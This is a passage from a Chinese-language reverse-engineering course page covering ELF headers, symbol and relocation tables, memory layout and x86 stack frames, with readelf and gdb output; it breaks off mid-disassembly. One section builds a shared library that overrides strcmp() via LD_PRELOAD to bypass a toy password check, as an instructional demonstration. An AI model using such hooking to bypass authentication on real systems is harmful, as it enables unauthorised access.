\u6307\u5b9a\u7684\u504f\u79fb\u91cf\u548c e_phentsize
\u3001e_phnum
\u5171\u540c\u786e\u5b9a\u5927\u5c0f\u7684\u8868\u683c\u7ec4\u6210\u3002e_phentsize
\u8868\u793a\u8868\u683c\u4e2d\u7a0b\u5e8f\u5934\u7684\u5927\u5c0f\uff0ce_phnum
\u8868\u793a\u8868\u683c\u4e2d\u7a0b\u5e8f\u5934\u7684\u6570\u91cf\u3002
\u7a0b\u5e8f\u5934\u7684\u5b9a\u4e49\u5982\u4e0b\uff1a
typedef struct\n{\n Elf32_Word p_type; /* Segment type */\n Elf32_Off p_offset; /* Segment file offset */\n Elf32_Addr p_vaddr; /* Segment virtual address */\n Elf32_Addr p_paddr; /* Segment physical address */\n Elf32_Word p_filesz; /* Segment size in file */\n Elf32_Word p_memsz; /* Segment size in memory */\n Elf32_Word p_flags; /* Segment flags */\n Elf32_Word p_align; /* Segment alignment */\n} Elf32_Phdr;\n\ntypedef struct\n{\n Elf64_Word p_type; /* Segment type */\n Elf64_Word p_flags; /* Segment flags */\n Elf64_Off p_offset; /* Segment file offset */\n Elf64_Addr p_vaddr; /* Segment virtual address */\n Elf64_Addr p_paddr; /* Segment physical address */\n Elf64_Xword p_filesz; /* Segment size in file */\n Elf64_Xword p_memsz; /* Segment size in memory */\n Elf64_Xword p_align; /* Segment alignment */\n} Elf64_Phdr;\n
\u4f7f\u7528 readelf \u6765\u67e5\u770b\u7a0b\u5e8f\u5934\uff1a
$ readelf -l elfDemo.out\n\nElf file type is DYN (Shared object file)\nEntry point 0x3e0\nThere are 9 program headers, starting at offset 52\n\nProgram Headers:\n Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align\n PHDR 0x000034 0x00000034 0x00000034 0x00120 0x00120 R E 0x4\n INTERP 0x000154 0x00000154 0x00000154 0x00013 0x00013 R 0x1\n [Requesting program interpreter: /lib/ld-linux.so.2]\n LOAD 0x000000 0x00000000 0x00000000 0x00780 0x00780 R E 0x1000\n LOAD 0x000ef4 0x00001ef4 0x00001ef4 0x00130 0x0013c RW 0x1000\n DYNAMIC 0x000efc 0x00001efc 0x00001efc 0x000f0 0x000f0 RW 0x4\n NOTE 0x000168 0x00000168 0x00000168 0x00044 0x00044 R 0x4\n GNU_EH_FRAME 0x000624 0x00000624 0x00000624 0x00044 0x00044 R 0x4\n GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10\n GNU_RELRO 0x000ef4 0x00001ef4 0x00001ef4 0x0010c 0x0010c R 0x1\n\n Section to Segment mapping:\n Segment Sections...\n 00\n 01 .interp\n 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame\n 03 .init_array .fini_array .dynamic .got .got.plt .data .bss\n 04 .dynamic\n 05 .note.ABI-tag .note.gnu.build-id\n 06 .eh_frame_hdr\n 07\n 08 .init_array .fini_array .dynamic .got\n
"},{"location":"Training/Material/Reverse/#_30","title":"\u6bb5","text":"\u6bb5\u8868\uff08Section Header Table\uff09\u662f\u4e00\u4e2a\u4ee5 Elf32_Shdr
\u3000\u7ed3\u6784\u4f53\u4e3a\u5143\u7d20\u7684\u6570\u7ec4\uff0c\u6bcf\u4e2a\u7ed3\u6784\u4f53\u5bf9\u5e94\u4e00\u4e2a\u6bb5\uff0c\u5b83\u63cf\u8ff0\u4e86\u5404\u4e2a\u6bb5\u7684\u4fe1\u606f\u3002ELF \u6587\u4ef6\u5934\u7684 e_shoff
\u3000\u6210\u5458\u7ed9\u51fa\u4e86\u6bb5\u8868\u5728 ELF \u4e2d\u7684\u504f\u79fb\uff0ce_shnum
\u6210\u5458\u7ed9\u51fa\u4e86\u6bb5\u63cf\u8ff0\u7b26\u7684\u6570\u91cf\uff0ce_shentsize
\u7ed9\u51fa\u4e86\u6bcf\u4e2a\u6bb5\u63cf\u8ff0\u7b26\u7684\u5927\u5c0f\u3002
typedef struct\n{\n Elf32_Word sh_name; /* Section name (string tbl index) */\n Elf32_Word sh_type; /* Section type */\n Elf32_Word sh_flags; /* Section flags */\n Elf32_Addr sh_addr; /* Section virtual addr at execution */\n Elf32_Off sh_offset; /* Section file offset */\n Elf32_Word sh_size; /* Section size in bytes */\n Elf32_Word sh_link; /* Link to another section */\n Elf32_Word sh_info; /* Additional section information */\n Elf32_Word sh_addralign; /* Section alignment */\n Elf32_Word sh_entsize; /* Entry size if section holds table */\n} Elf32_Shdr;\n\ntypedef struct\n{\n Elf64_Word sh_name; /* Section name (string tbl index) */\n Elf64_Word sh_type; /* Section type */\n Elf64_Xword sh_flags; /* Section flags */\n Elf64_Addr sh_addr; /* Section virtual addr at execution */\n Elf64_Off sh_offset; /* Section file offset */\n Elf64_Xword sh_size; /* Section size in bytes */\n Elf64_Word sh_link; /* Link to another section */\n Elf64_Word sh_info; /* Additional section information */\n Elf64_Xword sh_addralign; /* Section alignment */\n Elf64_Xword sh_entsize; /* Entry size if section holds table */\n} Elf64_Shdr;\n
\u4f7f\u7528 readelf \u547d\u4ee4\u67e5\u770b\u76ee\u6807\u6587\u4ef6\u4e2d\u5b8c\u6574\u7684\u6bb5\uff1a
$ readelf -S elfDemo.o\nThere are 15 section headers, starting at offset 0x41c:\n\nSection Headers:\n [Nr] Name Type Addr Off Size ES Flg Lk Inf Al\n [ 0] NULL 00000000 000000 000000 00 0 0 0\n [ 1] .group GROUP 00000000 000034 000008 04 12 16 4\n [ 2] .text PROGBITS 00000000 00003c 000078 00 AX 0 0 1\n [ 3] .rel.text REL 00000000 000338 000048 08 I 12 2 4\n [ 4] .data PROGBITS 00000000 0000b4 000008 00 WA 0 0 4\n [ 5] .bss NOBITS 00000000 0000bc 000004 00 WA 0 0 4\n [ 6] .rodata PROGBITS 00000000 0000bc 000004 00 A 0 0 1\n [ 7] .text.__x86.get_p PROGBITS 00000000 0000c0 000004 00 AXG 0 0 1\n [ 8] .comment PROGBITS 00000000 0000c4 000012 01 MS 0 0 1\n [ 9] .note.GNU-stack PROGBITS 00000000 0000d6 000000 00 0 0 1\n [10] .eh_frame PROGBITS 00000000 0000d8 00007c 00 A 0 0 4\n [11] .rel.eh_frame REL 00000000 000380 000018 08 I 12 10 4\n [12] .symtab SYMTAB 00000000 000154 000140 10 13 13 4\n [13] .strtab STRTAB 00000000 000294 0000a2 00 0 0 1\n [14] .shstrtab STRTAB 00000000 000398 000082 00 0 0 1\nKey to Flags:\n W (write), A (alloc), X (execute), M (merge), S (strings), I (info),\n L (link order), O (extra OS processing required), G (group), T (TLS),\n C (compressed), x (unknown), o (OS specific), E (exclude),\n p (processor specific)\n
\u6ce8\u610f\uff0cELF \u6bb5\u8868\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\u662f\u88ab\u4fdd\u7559\u7684\uff0c\u7c7b\u578b\u4e3a NULL\u3002
"},{"location":"Training/Material/Reverse/#_31","title":"\u5b57\u7b26\u4e32\u8868","text":"\u5b57\u7b26\u4e32\u8868\u4ee5\u6bb5\u7684\u5f62\u5f0f\u5b58\u5728\uff0c\u5305\u542b\u4e86\u4ee5 null\u3000\u7ed3\u5c3e\u7684\u5b57\u7b26\u5e8f\u5217\u3002\u5bf9\u8c61\u6587\u4ef6\u4f7f\u7528\u8fd9\u4e9b\u5b57\u7b26\u4e32\u6765\u8868\u793a\u7b26\u53f7\u548c\u6bb5\u540d\u79f0\uff0c\u5f15\u7528\u5b57\u7b26\u4e32\u65f6\u53ea\u9700\u7ed9\u51fa\u5728\u8868\u4e2d\u7684\u504f\u79fb\u5373\u53ef\u3002\u5b57\u7b26\u4e32\u8868\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u548c\u6700\u540e\u4e00\u4e2a\u5b57\u7b26\u4e3a\u7a7a\u5b57\u7b26\uff0c\u4ee5\u786e\u4fdd\u6240\u6709\u5b57\u7b26\u4e32\u7684\u5f00\u59cb\u548c\u7ec8\u6b62\u3002\u901a\u5e38\u6bb5\u540d\u4e3a .strtab
\u7684\u5b57\u7b26\u4e32\u8868\u662f \u5b57\u7b26\u4e32\u8868\uff08Strings Table\uff09\uff0c\u6bb5\u540d\u4e3a .shstrtab
\u7684\u662f\u6bb5\u8868\u5b57\u7b26\u4e32\u8868\uff08Section Header String Table\uff09\u3002
\u53ef\u4ee5\u4f7f\u7528 readelf \u8bfb\u53d6\u8fd9\u4e24\u4e2a\u8868\uff1a
$ readelf -x .strtab elfDemo.o\n\nHex dump of section '.strtab':\n 0x00000000 00656c66 44656d6f 2e63006c 6f63616c .elfDemo.c.local\n 0x00000010 5f737461 7469635f 696e6974 5f766172 _static_init_var\n 0x00000020 2e323139 35006c6f 63616c5f 73746174 .2195.local_stat\n 0x00000030 69635f75 6e696e69 745f7661 722e3231 ic_uninit_var.21\n 0x00000040 39360067 6c6f6261 6c5f696e 69745f76 96.global_init_v\n 0x00000050 61720067 6c6f6261 6c5f756e 696e6974 ar.global_uninit\n 0x00000060 5f766172 0066756e 63005f5f 7838362e _var.func.__x86.\n 0x00000070 6765745f 70635f74 68756e6b 2e617800 get_pc_thunk.ax.\n 0x00000080 5f474c4f 42414c5f 4f464653 45545f54 _GLOBAL_OFFSET_T\n 0x00000090 41424c45 5f007072 696e7466 006d6169 ABLE_.printf.mai\n 0x000000a0 6e00\n\n$ readelf -x .shstrtab elfDemo.o\n\nHex dump of section '.shstrtab':\n 0x00000000 002e7379 6d746162 002e7374 72746162 ..symtab..strtab\n 0x00000010 002e7368 73747274 6162002e 72656c2e ..shstrtab..rel.\n 0x00000020 74657874 002e6461 7461002e 62737300 text..data..bss.\n 0x00000030 2e726f64 61746100 2e746578 742e5f5f .rodata..text.__\n 0x00000040 7838362e 6765745f 70635f74 68756e6b x86.get_pc_thunk\n 0x00000050 2e617800 2e636f6d 6d656e74 002e6e6f .ax..comment..no\n 0x00000060 74652e47 4e552d73 7461636b 002e7265 te.GNU-stack..re\n 0x00000070 6c2e6568 5f667261 6d65002e 67726f75 l.eh_frame..grou\n 0x00000080 7000\n
"},{"location":"Training/Material/Reverse/#_32","title":"\u7b26\u53f7\u8868","text":"\u76ee\u6807\u6587\u4ef6\u7684\u7b26\u53f7\u8868\u4fdd\u5b58\u4e86\u5b9a\u4f4d\u548c\u91cd\u5b9a\u4f4d\u7a0b\u5e8f\u7684\u7b26\u53f7\u5b9a\u4e49\u548c\u5f15\u7528\u6240\u9700\u7684\u4fe1\u606f\u3002\u7b26\u53f7\u8868\u7d22\u5f15\u662f\u8fd9\u4e2a\u6570\u7ec4\u7684\u4e0b\u6807\u3002\u7d22\u5f15\uff10\u6307\u5411\u8868\u4e2d\u7684\u7b2c\u4e00\u4e2a\u6761\u76ee\uff0c\u4f5c\u4e3a\u672a\u5b9a\u4e49\u7684\u7b26\u53f7\u7d22\u5f15\u3002
typedef struct\n{\n Elf32_Word st_name; /* Symbol name (string tbl index) */\n Elf32_Addr st_value; /* Symbol value */\n Elf32_Word st_size; /* Symbol size */\n unsigned char st_info; /* Symbol type and binding */\n unsigned char st_other; /* Symbol visibility */\n Elf32_Section st_shndx; /* Section index */\n} Elf32_Sym;\n\ntypedef struct\n{\n Elf64_Word st_name; /* Symbol name (string tbl index) */\n unsigned char st_info; /* Symbol type and binding */\n unsigned char st_other; /* Symbol visibility */\n Elf64_Section st_shndx; /* Section index */\n Elf64_Addr st_value; /* Symbol value */\n Elf64_Xword st_size; /* Symbol size */\n} Elf64_Sym;\n
\u67e5\u770b\u7b26\u53f7\u8868\uff1a
$ readelf -s elfDemo.o\n\nSymbol table '.symtab' contains 20 entries:\n Num: Value Size Type Bind Vis Ndx Name\n 0: 00000000 0 NOTYPE LOCAL DEFAULT UND\n 1: 00000000 0 FILE LOCAL DEFAULT ABS elfDemo.c\n 2: 00000000 0 SECTION LOCAL DEFAULT 2\n 3: 00000000 0 SECTION LOCAL DEFAULT 4\n 4: 00000000 0 SECTION LOCAL DEFAULT 5\n 5: 00000000 0 SECTION LOCAL DEFAULT 6\n 6: 00000004 4 OBJECT LOCAL DEFAULT 4 local_static_init_var.219\n 7: 00000000 4 OBJECT LOCAL DEFAULT 5 local_static_uninit_var.2\n 8: 00000000 0 SECTION LOCAL DEFAULT 7\n 9: 00000000 0 SECTION LOCAL DEFAULT 9\n 10: 00000000 0 SECTION LOCAL DEFAULT 10\n 11: 00000000 0 SECTION LOCAL DEFAULT 8\n 12: 00000000 0 SECTION LOCAL DEFAULT 1\n 13: 00000000 4 OBJECT GLOBAL DEFAULT 4 global_init_var\n 14: 00000004 4 OBJECT GLOBAL DEFAULT COM global_uninit_var\n 15: 00000000 46 FUNC GLOBAL DEFAULT 2 func\n 16: 00000000 0 FUNC GLOBAL HIDDEN 7 __x86.get_pc_thunk.ax\n 17: 00000000 0 NOTYPE GLOBAL DEFAULT UND _GLOBAL_OFFSET_TABLE_\n 18: 00000000 0 NOTYPE GLOBAL DEFAULT UND printf\n 19: 0000002e 74 FUNC GLOBAL DEFAULT 2 main\n
"},{"location":"Training/Material/Reverse/#_33","title":"\u91cd\u5b9a\u4f4d","text":"\u91cd\u5b9a\u4f4d\u662f\u8fde\u63a5\u7b26\u53f7\u5b9a\u4e49\u4e0e\u7b26\u53f7\u5f15\u7528\u7684\u8fc7\u7a0b\u3002\u53ef\u91cd\u5b9a\u4f4d\u6587\u4ef6\u5fc5\u987b\u5177\u6709\u63cf\u8ff0\u5982\u4f55\u4fee\u6539\u6bb5\u5185\u5bb9\u7684\u4fe1\u606f\uff0c\u4ece\u800c\u8fd0\u884c\u53ef\u6267\u884c\u6587\u4ef6\u548c\u5171\u4eab\u5bf9\u8c61\u6587\u4ef6\u4fdd\u5b58\u8fdb\u7a0b\u7a0b\u5e8f\u6620\u50cf\u7684\u6b63\u786e\u4fe1\u606f\u3002
typedef struct\n{\n Elf32_Addr r_offset; /* Address */\n Elf32_Word r_info; /* Relocation type and symbol index */\n} Elf32_Rel;\n\ntypedef struct\n{\n Elf64_Addr r_offset; /* Address */\n Elf64_Xword r_info; /* Relocation type and symbol index */\n Elf64_Sxword r_addend; /* Addend */\n} Elf64_Rela;\n
\u67e5\u770b\u91cd\u5b9a\u4f4d\u8868\uff1a
$ readelf -r elfDemo.o\n\nRelocation section '.rel.text' at offset 0x338 contains 9 entries:\n Offset Info Type Sym.Value Sym. Name\n00000008 00001002 R_386_PC32 00000000 __x86.get_pc_thunk.ax\n0000000d 0000110a R_386_GOTPC 00000000 _GLOBAL_OFFSET_TABLE_\n00000019 00000509 R_386_GOTOFF 00000000 .rodata\n00000021 00001204 R_386_PLT32 00000000 printf\n00000040 00001002 R_386_PC32 00000000 __x86.get_pc_thunk.ax\n00000045 0000110a R_386_GOTPC 00000000 _GLOBAL_OFFSET_TABLE_\n00000052 00000d09 R_386_GOTOFF 00000000 global_init_var\n0000005d 00000309 R_386_GOTOFF 00000000 .data\n00000068 00000f02 R_386_PC32 00000000 func\n\nRelocation section '.rel.eh_frame' at offset 0x380 contains 3 entries:\n Offset Info Type Sym.Value Sym. Name\n00000020 00000202 R_386_PC32 00000000 .text\n00000044 00000202 R_386_PC32 00000000 .text\n00000070 00000802 R_386_PC32 00000000 .text.__x86.get_pc_thu\n
"},{"location":"Training/Material/Reverse/#_34","title":"\u52a8\u6001\u94fe\u63a5","text":"LD_PRELOAD \u73af\u5883\u53d8\u91cf\u53ef\u4ee5\u5b9a\u4e49\u5728\u7a0b\u5e8f\u8fd0\u884c\u524d\u4f18\u5148\u52a0\u8f7d\u7684\u52a8\u6001\u94fe\u63a5\u5e93\u3002\u8fd9\u4f7f\u5f97\u6211\u4eec\u53ef\u4ee5\u6709\u9009\u62e9\u6027\u5730\u52a0\u8f7d\u4e0d\u540c\u52a8\u6001\u94fe\u63a5\u5e93\u4e2d\u7684\u76f8\u540c\u51fd\u6570\uff0c\u5373\u901a\u8fc7\u8bbe\u7f6e\u8be5\u53d8\u91cf\uff0c\u5728\u4e3b\u7a0b\u5e8f\u548c\u5176\u52a8\u6001\u94fe\u63a5\u5e93\u4e2d\u95f4\u52a0\u8f7d\u522b\u7684\u52a8\u6001\u94fe\u63a5\u5e93\uff0c\u751a\u81f3\u8986\u76d6\u539f\u672c\u7684\u5e93\u3002\u8fd9\u5c31\u6709\u53ef\u80fd\u51fa\u73b0\u52ab\u6301\u7a0b\u5e8f\u6267\u884c\u7684\u5b89\u5168\u95ee\u9898\u3002
#include<stdio.h>\n#include<string.h>\nvoid main() {\n char passwd[] = \"password\";\n char str[128];\n\n scanf(\"%s\", &str);\n if (!strcmp(passwd, str)) {\n printf(\"correct\\n\");\n return;\n }\n printf(\"invalid\\n\");\n}\n
\u4e0b\u9762\u6211\u4eec\u6784\u9020\u4e00\u4e2a\u6076\u610f\u7684\u52a8\u6001\u94fe\u63a5\u5e93\u6765\u91cd\u8f7d strcmp()
\u51fd\u6570\uff0c\u7f16\u8bd1\u4e3a\u52a8\u6001\u94fe\u63a5\u5e93\uff0c\u5e76\u8bbe\u7f6e LD_PRELOAD \u73af\u5883\u53d8\u91cf\uff1a
$ cat hack.c\n#include<stdio.h>\n#include<stdio.h>\nint strcmp(const char *s1, const char *s2) {\n printf(\"hacked\\n\");\n return 0;\n}\n$ gcc -shared -o hack.so hack.c\n$ gcc ldpreload.c\n$ ./a.out\nasdf\ninvalid\n$ LD_PRELOAD=\"./hack.so\" ./a.out\nasdf\nhacked\ncorrect\n
"},{"location":"Training/Material/Reverse/#ld_show_auxv","title":"LD_SHOW_AUXV","text":"AUXV \u662f\u5185\u6838\u5728\u6267\u884c ELF \u6587\u4ef6\u65f6\u4f20\u9012\u7ed9\u7528\u6237\u7a7a\u95f4\u7684\u4fe1\u606f\uff0c\u8bbe\u7f6e\u8be5\u73af\u5883\u53d8\u91cf\u53ef\u4ee5\u663e\u793a\u8fd9\u4e9b\u4fe1\u606f\u3002\u5982\uff1a
$ LD_SHOW_AUXV=1 ls\nAT_SYSINFO_EHDR: 0x7fff41fbc000\nAT_HWCAP: bfebfbff\nAT_PAGESZ: 4096\nAT_CLKTCK: 100\nAT_PHDR: 0x55f1f623e040\nAT_PHENT: 56\nAT_PHNUM: 9\nAT_BASE: 0x7f277e1ec000\nAT_FLAGS: 0x0\nAT_ENTRY: 0x55f1f6243060\nAT_UID: 1000\nAT_EUID: 1000\nAT_GID: 1000\nAT_EGID: 1000\nAT_SECURE: 0\nAT_RANDOM: 0x7fff41effbb9\nAT_EXECFN: /usr/bin/ls\nAT_PLATFORM: x86_64\n
"},{"location":"Training/Material/Reverse/#_36","title":"\u5185\u5b58\u7ba1\u7406","text":"\u4e3a\u4e86\u4f7f\u7528\u6237\u7a0b\u5e8f\u5728\u8fd0\u884c\u65f6\u5177\u6709\u4e00\u4e2a\u79c1\u6709\u7684\u5730\u5740\u7a7a\u95f4\u3001\u6709\u81ea\u5df1\u7684 CPU\uff0c\u5c31\u50cf\u72ec\u5360\u4e86\u6574\u4e2a\u8ba1\u7b97\u673a\u4e00\u6837\uff0c\u73b0\u4ee3\u64cd\u4f5c\u7cfb\u7edf\u63d0\u51fa\u4e86\u865a\u62df\u5185\u5b58\u7684\u6982\u5ff5\u3002
\u865a\u62df\u5185\u5b58\u7684\u4e3b\u8981\u4f5c\u7528\u4e3b\u8981\u4e3a\u4e09\u4e2a\uff1a
\u73b0\u4ee3\u64cd\u4f5c\u7cfb\u7edf\u91c7\u7528\u865a\u62df\u5bfb\u5740\u7684\u65b9\u5f0f\uff0cCPU \u901a\u8fc7\u751f\u6210\u4e00\u4e2a\u865a\u62df\u5730\u5740\uff08Virtual Address(VA)\uff09\u6765\u8bbf\u95ee\u5185\u5b58\uff0c\u7136\u540e\u8fd9\u4e2a\u865a\u62df\u5730\u5740\u901a\u8fc7\u5185\u5b58\u7ba1\u7406\u5355\u5143\uff08Memory Management Unit(MMU)\uff09\u8f6c\u6362\u6210\u7269\u7406\u5730\u5740\u4e4b\u540e\u88ab\u9001\u5230\u5b58\u50a8\u5668\u3002
\u524d\u9762\u6211\u4eec\u5df2\u7ecf\u770b\u5230\u53ef\u6267\u884c\u6587\u4ef6\u88ab\u6620\u5c04\u5230\u4e86\u5185\u5b58\u4e2d\uff0cLinux \u4e3a\u6bcf\u4e2a\u8fdb\u7a0b\u7ef4\u6301\u4e86\u4e00\u4e2a\u5355\u72ec\u7684\u865a\u62df\u5730\u5740\u7a7a\u95f4\uff0c\u5305\u62ec\u4e86 .text\u3001.data\u3001.bss\u3001\u6808\uff08stack\uff09\u3001\u5806\uff08heap\uff09\uff0c\u5171\u4eab\u5e93\u7b49\u5185\u5bb9\u3002
32 \u4f4d\u7cfb\u7edf\u6709 4GB \u7684\u5730\u5740\u7a7a\u95f4\uff0c\u5176\u4e2d 0x08048000~0xbfffffff \u662f\u7528\u6237\u7a7a\u95f4\uff083GB\uff09\uff0c0xc0000000~0xffffffff \u662f\u5185\u6838\u7a7a\u95f4\uff08\uff11GB\uff09\u3002
"},{"location":"Training/Material/Reverse/#_38","title":"\u6808\u4e0e\u8c03\u7528\u7ea6\u5b9a","text":""},{"location":"Training/Material/Reverse/#_39","title":"\u6808","text":"\u6808\u662f\u4e00\u4e2a\u5148\u5165\u540e\u51fa\uff08First In Last Out(FIFO)\uff09\u7684\u5bb9\u5668\u3002\u7528\u4e8e\u5b58\u653e\u51fd\u6570\u8fd4\u56de\u5730\u5740\u53ca\u53c2\u6570\u3001\u4e34\u65f6\u53d8\u91cf\u548c\u6709\u5173\u4e0a\u4e0b\u6587\u7684\u5185\u5bb9\u3002\u7a0b\u5e8f\u5728\u8c03\u7528\u51fd\u6570\u65f6\uff0c\u64cd\u4f5c\u7cfb\u7edf\u4f1a\u81ea\u52a8\u901a\u8fc7\u538b\u6808\u548c\u5f39\u6808\u5b8c\u6210\u4fdd\u5b58\u51fd\u6570\u73b0\u573a\u7b49\u64cd\u4f5c\uff0c\u4e0d\u9700\u8981\u7a0b\u5e8f\u5458\u624b\u52a8\u5e72\u9884\u3002
\u6808\u7531\u9ad8\u5730\u5740\u5411\u4f4e\u5730\u5740\u589e\u957f\uff0c\u6808\u4fdd\u5b58\u4e86\u4e00\u4e2a\u51fd\u6570\u8c03\u7528\u6240\u9700\u8981\u7684\u7ef4\u62a4\u4fe1\u606f\uff0c\u79f0\u4e3a\u5806\u6808\u5e27\uff08Stack Frame\uff09\u5728 x86 \u4f53\u7cfb\u4e2d\uff0c\u5bc4\u5b58\u5668 ebp
\u6307\u5411\u5806\u6808\u5e27\u7684\u5e95\u90e8\uff0cesp
\u6307\u5411\u5806\u6808\u5e27\u7684\u9876\u90e8\u3002\u538b\u6808\u65f6\u6808\u9876\u5730\u5740\u51cf\u5c0f\uff0c\u5f39\u6808\u65f6\u6808\u9876\u5730\u5740\u589e\u5927\u3002
PUSH
\uff1a\u7528\u4e8e\u538b\u6808\u3002\u5c06 esp
\u51cf 4\uff0c\u7136\u540e\u5c06\u5176\u552f\u4e00\u64cd\u4f5c\u6570\u7684\u5185\u5bb9\u5199\u5165\u5230 esp
\u6307\u5411\u7684\u5185\u5b58\u5730\u5740POP
\uff1a\u7528\u4e8e\u5f39\u6808\u3002\u4ece esp
\u6307\u5411\u7684\u5185\u5b58\u5730\u5740\u83b7\u5f97\u6570\u636e\uff0c\u5c06\u5176\u52a0\u8f7d\u5230\u6307\u4ee4\u64cd\u4f5c\u6570\uff08\u901a\u5e38\u662f\u4e00\u4e2a\u5bc4\u5b58\u5668\uff09\u4e2d\uff0c\u7136\u540e\u5c06 esp
\u52a0 4\u3002x86 \u4f53\u7cfb\u4e0b\u51fd\u6570\u7684\u8c03\u7528\u603b\u662f\u8fd9\u6837\u7684\uff1a
\u5176\u4e2d\u7b2c 2 \u6b65\u548c\u7b2c 3 \u6b65\u7531\u6307\u4ee4 call
\u4e00\u8d77\u6267\u884c\u3002\u8df3\u8f6c\u5230\u51fd\u6570\u4f53\u4e4b\u540e\u5373\u5f00\u59cb\u6267\u884c\u51fd\u6570\uff0c\u800c x86 \u51fd\u6570\u4f53\u7684\u5f00\u5934\u662f\u8fd9\u6837\u7684\uff1a
push ebp
\uff1a\u628aebp\u538b\u5165\u6808\u4e2d\uff08old ebp\uff09\u3002mov ebp, esp
\uff1aebp=esp\uff08\u8fd9\u65f6ebp\u6307\u5411\u6808\u9876\uff0c\u800c\u6b64\u65f6\u6808\u9876\u5c31\u662fold ebp\uff09sub esp, XXX
\uff1a\u5728\u6808\u4e0a\u5206\u914d XXX \u5b57\u8282\u7684\u4e34\u65f6\u7a7a\u95f4\u3002push XXX
\uff1a\u4fdd\u5b58\u540d\u4e3a XXX \u7684\u5bc4\u5b58\u5668\u3002\u628aebp\u538b\u5165\u6808\u4e2d\uff0c\u662f\u4e3a\u4e86\u5728\u51fd\u6570\u8fd4\u56de\u65f6\u6062\u590d\u4ee5\u524d\u7684ebp\u503c\uff0c\u800c\u538b\u5165\u5bc4\u5b58\u5668\u7684\u503c\uff0c\u662f\u4e3a\u4e86\u4fdd\u6301\u67d0\u4e9b\u5bc4\u5b58\u5668\u5728\u51fd\u6570\u8c03\u7528\u524d\u540e\u4fdd\u5b58\u4e0d\u53d8\u3002\u51fd\u6570\u8fd4\u56de\u65f6\u7684\u64cd\u4f5c\u4e0e\u5f00\u5934\u6b63\u597d\u76f8\u53cd\uff1a
pop XXX
\uff1a\u6062\u590d\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668\u3002mov esp, ebp
\uff1a\u6062\u590desp\u540c\u65f6\u56de\u6536\u5c40\u90e8\u53d8\u91cf\u7a7a\u95f4\u3002pop ebp
\uff1a\u6062\u590d\u4fdd\u5b58\u7684ebp\u7684\u503c\u3002ret
\uff1a\u4ece\u6808\u4e2d\u53d6\u5f97\u8fd4\u56de\u5730\u5740\uff0c\u5e76\u8df3\u8f6c\u5230\u8be5\u4f4d\u7f6e\u3002\u6808\u5e27\u5bf9\u5e94\u7684\u6c47\u7f16\u4ee3\u7801\uff1a
PUSH ebp ; \u51fd\u6570\u5f00\u59cb\uff08\u4f7f\u7528ebp\u524d\u5148\u628a\u5df2\u6709\u503c\u4fdd\u5b58\u5230\u6808\u4e2d\uff09\nMOV ebp, esp ; \u4fdd\u5b58\u5f53\u524desp\u5230ebp\u4e2d\n\n... ; \u51fd\u6570\u4f53\n ; \u65e0\u8bbaesp\u503c\u5982\u4f55\u53d8\u5316\uff0cebp\u90fd\u4fdd\u6301\u4e0d\u53d8\uff0c\u53ef\u4ee5\u5b89\u5168\u8bbf\u95ee\u51fd\u6570\u7684\u5c40\u90e8\u53d8\u91cf\u3001\u53c2\u6570\nMOV esp, ebp ; \u5c06\u51fd\u6570\u7684\u5176\u5b9e\u5730\u5740\u8fd4\u56de\u5230esp\u4e2d\nPOP ebp ; \u51fd\u6570\u8fd4\u56de\u524d\u5f39\u51fa\u4fdd\u5b58\u5728\u6808\u4e2d\u7684ebp\u503c\nRET ; \u51fd\u6570\u8fd4\u56de\u5e76\u8df3\u8f6c\n
\u51fd\u6570\u8c03\u7528\u540e\u6808\u7684\u6807\u51c6\u5e03\u5c40\u5982\u4e0b\u56fe\uff1a
\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\uff1a\u6e90\u7801
#include<stdio.h>\nint add(int a, int b) {\n int x = a, y = b;\n return (x + y);\n}\n\nint main() {\n int a = 1, b = 2;\n printf(\"%d\\n\", add(a, b));\n return 0;\n}\n
\u4f7f\u7528 gdb \u67e5\u770b\u5bf9\u5e94\u7684\u6c47\u7f16\u4ee3\u7801\uff0c\u8fd9\u91cc\u6211\u4eec\u7ed9\u51fa\u4e86\u8be6\u7ec6\u7684\u6ce8\u91ca\uff1a
gdb-peda$ disassemble main\nDump of assembler code for function main:\n 0x00000563 <+0>: lea ecx,[esp+0x4] ;\u5c06 esp+0x4 \u7684\u5730\u5740\u4f20\u7ed9 ecx\n 0x00000567 <+4>: and esp,0xfffffff0 ;\u6808 16 \u5b57\u8282\u5bf9\u9f50\n 0x0000056a <+7>: push DWORD PTR [ecx-0x4] ;ecx-0x4\uff0c\u5373\u539f esp \u5f3a\u5236\u8f6c\u6362\u4e3a\u53cc\u5b57\u6570\u636e\u540e\u538b\u5165\u6808\u4e2d\n 0x0000056d <+10>: push ebp ;\u4fdd\u5b58\u8c03\u7528 main() \u51fd\u6570\u4e4b\u524d\u7684 ebp\uff0c\u7531\u4e8e\u5728 _start \u4e2d\u5c06 ebp \u6e05\u96f6\u4e86\uff0c\u8fd9\u91cc\u7684 ebp=0x0\n 0x0000056e <+11>: mov ebp,esp ;\u628a\u8c03\u7528 main() \u4e4b\u524d\u7684 esp \u4f5c\u4e3a\u5f53\u524d\u6808\u5e27\u7684 ebp\n 0x00000570 <+13>: push ebx ;ebx\u3001ecx \u5165\u6808\n 0x00000571 <+14>: push ecx\n 0x00000572 <+15>: sub esp,0x10 ;\u4e3a\u5c40\u90e8\u53d8\u91cf a\u3001b \u5206\u914d\u7a7a\u95f4\u5e76\u505a\u5230 16 \u5b57\u8282\u5bf9\u9f50\n 0x00000575 <+18>: call 0x440 <__x86.get_pc_thunk.bx> ;\u8c03\u7528 <__x86.get_pc_thunk.bx> \u51fd\u6570\uff0c\u5c06 esp \u5f3a\u5236\u8f6c\u6362\u4e3a\u53cc\u5b57\u6570\u636e\u540e\u4fdd\u5b58\u5230 ebx\n 0x0000057a <+23>: add ebx,0x1a86 ;ebx+0x1a86\n 0x00000580 <+29>: mov DWORD PTR [ebp-0x10],0x1 ;a \u7b2c\u4e8c\u4e2a\u5165\u6808\u6240\u4ee5\u4fdd\u5b58\u5728 ebp-0x10 \u7684\u4f4d\u7f6e\uff0c\u6b64\u53e5\u5373 a=1\n 0x00000587 